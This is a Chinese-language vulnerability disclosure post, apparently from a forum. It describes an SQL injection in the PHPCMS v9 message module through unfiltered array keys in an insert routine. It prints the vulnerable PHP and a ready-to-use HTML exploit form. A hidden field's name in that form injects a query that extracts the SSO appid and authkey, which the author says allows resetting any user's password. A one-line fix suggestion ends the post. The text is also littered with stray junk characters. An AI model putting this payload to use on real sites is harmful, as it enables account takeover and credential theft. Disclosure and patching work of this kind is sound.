|
简要描述:! ^8 h& S, J8 s4 O
' x0 r- y( l8 J) ?9 e" A
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
" W, L9 }, \; |8 U2 G7 R
5 R) }$ H6 o, O2 w; S明天再更新下一个漏洞。
& j& L2 k7 I8 q( y3 Q详细说明:
" F8 u& @2 l: T, V9 N3 E在/phpcms9/phpcms/modules/message/index.php中有代码如下:5 E1 W4 P3 Y7 W9 }7 j
4 x2 @# _) H! K# c
$messageid = $this->message_db->insert($_POST['info'],true);; L# }* q0 G2 K( c, w' B, j4 |7 C
$ Q) |3 q4 C% \9 h8 i v/ t
2 V% I# Y0 l+ _: h& R8 y3 K. }insert方法是key value的,代码如下:8 K2 D+ w9 j3 s- g1 ?
, q5 y, B6 S- X5 Upublic function insert($data, $table, $return_insert_id = false, $replace = false) {) c" {8 I8 g8 ?5 ?0 N+ q
if(!is_array( $data ) || $table == '' || count($data) == 0) {
2 g7 C, s: h, r. v* K return false;
+ r2 h ^/ }- t+ y }5 {2 S$ r, S# J
% z# l* V" [& B# r" B4 I. O $fielddata = array_keys($data);
# }, ?; Q& n; i" G, F/ o $valuedata = array_values($data);
( H* d2 _1 ~) |7 Q! ]# V array_walk($fielddata, array($this, 'add_special_char'));. X) ?( Z7 y" o' j6 @ m
array_walk($valuedata, array($this, 'escape_string'));
1 K* y7 |. I; N, r( {/ O " ~3 d" e, a2 N! [0 D3 o
$field = implode (',', $fielddata);9 ~( ]# ^5 _) C
$value = implode (',', $valuedata);7 t' U: U; b2 f: G( e8 W9 l
7 w3 j' F# g5 _ $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
: y8 c! ?( A. z $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';2 d& ~/ E! A7 t* c* W
$return = $this->execute($sql);, {# g& o# T8 j1 z
return $return_insert_id ? $this->insert_id() : $return; A; b% [% a" Z- q7 E7 P% u5 Q
}
& p: h& ~$ E+ P! Z1 E8 s {" z9 N! H! _8 h5 ?9 Y+ _3 u& b
. A" a8 |7 Q) w嗯,很遗憾的是
3 g% k* y3 ]: u/ d+ p4 X: l" {% q6 h3 _7 F- I2 j# K( ^8 V1 |% p
array_walk($fielddata, array($this, 'add_special_char'));
: S, y- t/ n6 l/ ^9 u; l: l1 ^) ~/ P X }" c
4 j; a; O& \3 M7 _
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。) }" S7 e0 X5 A7 J% O, c( b
+ w& f7 ?# G! G$ {( H- r到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
& l* N. G6 {8 p
8 l) r( w# L/ }" o' ^/ J' u漏洞证明:8 c$ V( \/ |( S2 D
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。2 I6 v' S* N1 ^$ o9 q
; B1 s" X5 s1 l6 ^3 p+ \
+ ]+ f* ~, w# h2 c6 E: ^表单如下:用户名什么的得自己改一改。" }( e! ^4 R/ f( O0 J, D
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
! H, ?+ o# w/ l<table width="100%" cellspacing="0" class="table_form">8 a: `+ x# v" _5 t2 W4 d* d9 M5 ^: n0 W
<tr>$ {6 o: n; x7 I1 u
<th>标 题:</th>
& F4 q& p8 s l/ g! g4 q<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
_: r1 l3 J; y5 V) R% [" ^, v</tr> , p" B! c, I `' o
<tr>
8 _5 G e& g% i4 m<th>内 容:</th>
' p: y' U" n: l3 n( z4 V! X<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td># H }7 n' e/ {" ^8 Y* {
</tr>& ]; r! l5 k6 W
<input type="hidden" name="info[replyid]" value="2" />
. ` \' n$ }% B9 I2 _: [" ]% L<input type="hidden" name="info[send_to_id]" value="cc" />
% |* o) u0 ]/ N- n) S& E<input type="hidden" name="info[send_from_id]" value="hh">4 g8 T+ o) F+ `( z0 _* }6 |
<!-- 漏洞的利用重点在这里开始 -->. }- S& z0 {( t. @1 |, f9 u
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
; m/ V( d5 R! i! r2 i8 b9 n<!-- 漏洞的利用重点在这里结束 -->
# z7 `; Q. w4 K<tr>
+ [$ v/ s0 R0 t, d<th>验证码:</th>
' e& N* `2 h% V; R1 N1 T' @<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
" l7 {$ o* Q$ E& D# g</tr>' ?) C' ? `4 M! ^+ |( t! K- u# E" i
<tr>1 o; e4 |2 i J7 l5 v
<td></td>
x- J, _% S$ s% P( u9 W* @2 a/ U<td colspan="2"><label>
{4 L( p" {( O; Z& ^<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
, u2 V. H2 L7 q7 n- Y</label></td>
" i; s* m; e1 R</tr>& j9 g2 G% b7 G; ~: h! |
</table>
- Z2 e! W9 w+ P! K$ A& U, c: n: M</form>. q" S! m6 o0 K
在add_special_char函数内对key做过滤就可以了。0 s D+ Y$ h5 k% N' @
1 [' _! L$ N2 V
& ~0 A0 c7 O: J$ K. G [! o; m, P+ y" i
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|